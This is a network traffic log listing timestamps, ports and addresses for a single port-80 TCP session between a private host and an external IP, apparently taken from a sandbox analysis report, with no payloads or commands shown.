Sep 28, 2024 10:19:17.101615906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101635933 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101650000 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101665974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101682901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101695061 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101731062 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101737976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101771116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101790905 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101805925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101818085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101838112 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101851940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101886034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101892948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101941109 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.101943016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101977110 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.101991892 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.102005959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.102025986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.102041960 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.102056026 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.102089882 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.102190971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.102245092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.102253914 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.102283955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.102302074 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.102319002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.102334023 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.102366924 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.190762997 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.195774078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416276932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416312933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416363955 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416374922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416409016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416414976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416450024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416460991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416486025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416495085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416532993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416532993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416569948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416580915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416614056 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416644096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416676044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416692972 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416711092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416717052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416753054 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416785002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416819096 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416834116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416851997 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416857958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416886091 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416897058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416919947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.416928053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.416954994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417094946 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417126894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417140961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417161942 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417171955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417196035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417201996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417238951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417248011 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417280912 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417299986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417315006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417326927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417350054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417361021 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417383909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417396069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417417049 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417419910 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417453051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417459965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417499065 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417582035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417614937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417648077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417664051 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417680025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417690992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417715073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417725086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417752981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417759895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417787075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417798042 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417823076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417831898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417859077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417867899 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417892933 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417906046 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417933941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417937994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.417967081 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.417977095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418000937 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418011904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418045998 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418083906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418114901 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418133020 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418148041 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418152094 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418181896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418195009 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418215990 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418220997 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418250084 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418255091 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418282986 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418291092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418317080 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418329954 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418354988 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418359041 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418390036 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418395996 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418436050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418473005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418507099 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418519974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418540001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418549061 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418575048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418582916 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418608904 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418618917 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418642044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418653011 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418678045 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418685913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418713093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418720961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418747902 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418757915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418792963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418898106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418930054 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418942928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418963909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.418972969 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.418998003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419008017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419033051 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419034958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419065952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419078112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419100046 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419109106 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419133902 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419143915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419167995 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419177055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419202089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419210911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419236898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419245005 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419270992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419277906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419303894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419316053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419332981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419346094 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419368029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419372082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419409990 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419420004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419451952 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419467926 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419487953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419497013 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419523001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419529915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419555902 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419574022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419588089 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419594049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419622898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419626951 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419656992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419668913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419692993 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419706106 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419733047 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419739962 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419765949 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419802904 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419812918 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419836044 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419846058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419871092 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.419878960 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.419915915 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.548966885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549083948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549113989 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549161911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549165010 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549180984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549200058 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549232006 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549247980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549278975 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549284935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549318075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549335003 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549352884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549361944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549390078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549396038 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549432993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549465895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549516916 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549530029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549550056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549561024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549585104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549595118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549618959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549627066 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549662113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549676895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549712896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549725056 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549757957 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549798012 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549832106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549845934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549865007 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549871922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549900055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.549916029 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549942017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.549983025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550015926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550030947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550050020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550062895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550082922 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550093889 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550117016 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550129890 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550153017 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550159931 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550189972 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550196886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550232887 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550331116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550364017 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550379992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550396919 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550412893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550431013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550442934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550463915 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550473928 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550497055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550509930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550533056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550544024 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550566912 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550574064 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550601959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550609112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550637007 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550645113 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550671101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550679922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550714016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550791025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550825119 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550838947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550858974 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550868034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550894976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.550913095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.550934076 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551122904 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551155090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551173925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551187992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551202059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551217079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551227093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551250935 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551261902 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551285028 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551294088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551318884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551327944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551352978 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551363945 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551402092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551404953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551440001 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551445961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551475048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551495075 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551512957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551523924 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551547050 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551558971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551580906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551589966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551615953 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551624060 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551665068 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551697969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551733017 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551744938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551767111 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551776886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551800966 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551806927 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.551836014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.551882982 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:17.552113056 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:17.552145958 CEST	80	49730	185.215.113.37	192.168.2.4
